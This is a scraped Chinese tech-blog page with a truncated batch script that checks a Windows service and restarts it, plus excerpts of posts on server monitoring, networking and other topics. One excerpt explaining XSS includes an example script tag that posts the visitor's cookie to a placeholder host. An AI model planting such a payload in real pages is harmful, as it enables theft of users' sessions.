定时检查服务批处理,发现服务停止立即启动服务_doubleli-编程思维
@echo off echo "check %1." >> log.file set srvname=%1 for /f "skip=3 tokens=4" %%i in ('sc query %srvname%') do set "zt=%%i" &goto :next :next if /i "%zt%"=="RUNNING" ( :服务运行正常,返回1.
morethink program
@echo off echo "check %1." >> log.file set srvname=%1 for /f "skip=3 tokens=4" %%i in ('sc query %srvname%') do set "zt=%%i" &goto :next :next if /i "%zt%"=="RUNNING" ( :服务运行正常,返回1.
工作一波停一波起,感觉离开.net好久了。 最近工作中发现服务器监视都是用了zabbix,对于我这类不懂的狠狠弥补了一下知识。 无意发现zabbix带有api,就想开发个工具调用api来着。可是api调用在host.get就卡住了,就是不返回理想结果。 种种结果决定在个人PC上搭建个zabbix调试,然后各种问题就来了。 Zabbix安装流程概述 安装Zabbix部署包 安装Mysq
我们在启动应用的时候经常发现我们需要使用的端口被别的程序占用,但是我们又不知道是被谁占用,这时候我们需要找出“真凶”,如何做到呢? 工具/原料 电脑一台 方法/步骤 开始---->运行---->cmd,或者是window+R组合键,调出命令窗口 输入命令:netstat -ano,列出所有端口的情况。在列表中我们观
摘要:技术人员经常会在各种技术交流社区游逛,大家互相学习、交流、分享、帮助。互联网拉近了地球人的距离,让全世界的技术人员可以聚集在一起分享交流。当然因为多方面原因,通常最新最权威的技术知识传到国内存在一定“时差”。本文将给大家分享技术人员经常访问的国外技术交流社区网站。 搞技术的,如果想更高提升自身技能水平,英语这关是逃不了的。 ——某位不愿透露姓名的四级loser 技术人员经常会在
1、下载并安装windows插件 http://sourceforge.net/projects/nscplus/NSCP-0.4.1.73-x64.msi2、windows端配置 nsclient.ini文件 [/modules] ;CheckWMI = 1 #注释掉该行 [/settings/default] allowed hosts = * ;passw
分享了如何监控Linux服务器,我们来看看使用Nagios如何监控Windows服务器。 第一部分:配置被监控的Windows服务器 首先,访问 http://sourceforge.net/projects/nscplus/,下载符合自己服务器的 NSClinent++。我下载下来以后的文件名为:NSCP-0.4.1.73-Win32.msi 双击安装程序,选择 Complete In
前两天项目要求一个附加功能,远程监视服务器的运行状况,要定期监视指定端口,指定业务,还包括服务器的磁盘空间,内存,CPU使用率等等。这头俩事还好说,ping和telnet也就搞定了,实在不行就开个socket连一下,关键后边的事有点抓瞎,要是在本地,可以通过API得到系统信息,分析磁盘空间,内存啥的,可是远程得到别的机子的信息,那不成木马了么。到网上一查,原来有SNMP可以帮着做这件事情。于是就
windows下用于和 nagios 整合监控的方式主要有三种:nsclient++ 、nrpe_nt、SNMP。三者各自的特点主要如下: 1、nsclient++比较成熟稳定,文档也丰富,内置很多了指标,能够提供很多snmp无法提供的信息。安装,配置,使用也很快捷方便。 2、nrpe_nt是linux下nrpe载windows上的实现,灵活性不必说了,pluings在nagiosex
Documentation Information Commands/Modules CheckDisk CheckFileSize CheckDriveSize CheckFile CheckEventLog CheckSystem CheckCPU CheckUpTime CheckServiceState CheckProcState
1. 监控内容 windows服务器的内部参数包括以下 a. 内存使用状况 b. CPU负载 c. 磁盘使用状况 d. 服务状态 e. 运行的进程 2. 监控原理 在windows服务器内安装NSClient++的监控引擎,nagios服务器通过check_nt来获取监控数据 3.配置步骤 a.修改启动参数 b.windows服务器安装监控引擎 c.在Nagios服务器内建立监控主机和监控
Nagios监控Windows的网卡流量 使用/usr/local/nagios/libexec/中的check_traffic.sh,不但可以监控Linux的网卡流量,也可以监控Windows服务器的流量。 1 Check_traffic.sh用法用法 [root@oracle libexec]#/usr/local/nagios/libexec/check_traffic.sh
Web Service实现业务诉求:Web Service是真正“办事”的那个,提供一种办事接口的统称。 WSDL提供“能办的事的文档说明”:对要提供的服务的一种描述格式。我想帮你的忙,但是我要告诉你我都能干什么,以及干这些事情需要的参数类型。 SOAP提供“请求”的规范:向服务接口传递请求的格式,包括方法和参数等。你想让人家办事,总得告诉人家你想干什么吧,SOAP就是定义这个“请求”的格式
昨天在ubuntu下进行安装gSOAP,费了很多时间,没成功,今天又来找了大量教程资料,终于一次成功,这里写下自己的安装步骤和方法,供大家参考。 首先下载gsoap,我下载的是gsoap-2.8.1.zip 用unzip gsoap-2.8.1.zip命令解压缩,会解压生成gsoap-2.8文件夹。 cd gsoap-2.8 在安装之前需要先安装一些编译工具。 安装编译工具:
很多人表面上看着老实巴交的,实际上内心比谁都好强、自负、虚荣、甚至阴险。工作中见的多了,也就习惯了。 有一些人,什么事都写在脸上,表面上经常得罪人,甚至让人讨厌。但是他们所表现的又未必不是真性情。 我相信大多数人都看过《豪门夜宴》这部香港老电影。张学友、梁朝伟演的拍马屁的场景太有意思了,其中有这样一段:当两马屁精帮老板说出主意,老板马上叫停,然后拍一下脑门:“哦。。。我想到了。。。”,把别人
1. 使用背景 需要接入两个网络,一个是部署环境所在内网环境,这个环境是上不了外网, 外网环境很可能是一个无线网络。如果两者都连接上,很可能导致有一方不能起作用,即外网或内网上不了,常常需要使用繁琐的“禁用网络连接”、“启用网络连接”的操作来进行内外网的切换,甚是麻烦。 为了解决这个问题,可以使用route命令来使得同时内外网都可用。 2. route命令 route命令是在本地
Linux系统的route命令用于显示和操作IP路由表(show / manipulate the IP routing table)。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现 在Linux系统中,设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这
微软在2001年就为自家的XP系统的本地磁盘默认使用了NTFS文件系统,但是12年之后,市面上的USB可移动设备和SD卡等外置存储器仍然在用着FAT32文件格式,这是什么理由让硬件厂商选择过时的文件系统格式? 很显然,这不是硬件厂商自身的问题,但是对于用户而言,用过NTFS格式后,会发现FAT32文件系统格式带来诸多不便。 FAT32文件系统的不足之处: • FAT32文件系统不支持4G及以上
XSS 全称:Cross Site Scripting 中文名:跨站脚本 原理:利用网站漏洞和用户对该网站的信任,植入恶意javascript脚本,让用户访问的时候出现不被预期、恶意的操作。 例: 1.用户A在某论坛评论区评论, 并植入恶意代码。 你是个好人。 <script> alert(1); ajaxPost("http://xxx.com/saveCookie", docu
目标:应用可以部署在多台服务器上,但是定时任务只能由其中一台机器触发。 方案: 1. 应用部署前修改代码或者修改配置,确定某台服务器的某个应用可以启用定时任务功能,其它禁用此功能。 优点:性能好 缺点:部署麻烦易出错、应用一旦崩溃任务即停止。 2.使用分布式锁,确保同一时刻,不会出现重复操作,然后记录任务是否执行过,执行过的不执行。 优点:多应用分布式部署,只要有一个应用可用即可用 缺点:某
C# 简单粗暴的毫秒转换成 分秒的格式 1:code(网络上很多存在拷贝或者存在bug的或者不满足自己的要求) 1 public static string RevertToTime(double milliSeconds)//毫秒 2 { 3 double getsecond = milliSeconds * 1.0 / 1000; 4